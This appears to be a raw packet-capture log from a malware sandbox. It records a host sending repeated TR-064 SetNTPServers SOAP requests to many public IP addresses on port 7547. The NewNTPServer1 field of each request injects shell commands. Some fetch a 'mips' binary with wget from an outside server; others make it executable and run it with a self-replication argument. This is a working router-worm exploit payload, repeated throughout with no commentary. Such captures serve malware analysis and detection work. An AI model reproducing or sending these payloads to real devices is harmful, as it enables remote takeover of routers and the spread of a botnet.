Apr 15, 2024 08:53:05.238423109 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 08:53:05 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.13	59462	72.228.172.154	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.841764927 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.13	39682	67.254.135.9	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.853976965 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.13	43574	181.229.6.49	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.894706011 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.13	57114	183.120.90.132	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.895312071 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.13	35974	221.163.218.37	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.898578882 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
654	192.168.2.13	53006	181.31.180.65	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.913178921 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
655	192.168.2.13	33670	86.189.241.9	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.968240976 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.13	34884	45.239.134.57	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.977463961 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:05.305852890 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 03:53:04 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.13	58104	168.121.175.155	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:04.987389088 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:05.327073097 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 03:53:04 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.13	48688	213.243.25.244	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:05.076287985 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.13	43706	197.164.11.248	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:05.077178955 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.13	59492	72.228.172.154	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:05.080210924 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.13	39712	67.254.135.9	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:05.094758034 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.13	57102	176.45.162.209	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:05.111474037 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:07.040481091 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:09.472415924 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:14.080425978 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:23.300424099 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:42.240432978 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
663	192.168.2.13	59972	120.198.22.114	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:05.147819996 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:07.232521057 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:07.640527010 CEST	122	IN	HTTP/1.1 200 OK Server: RG/Device 10.x Content-Type: text/xml Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.13	43604	181.229.6.49	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:05.182820082 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.13	36004	221.163.218.37	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:05.190011024 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.13	44886	41.10.146.216	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:05.232211113 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:07.584459066 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:08.044899940 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 08:53:08 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.13	33696	86.189.241.9	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:05.305998087 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.13	58130	168.121.175.155	7547

Timestamp	Bytes transferred	Direction	Data
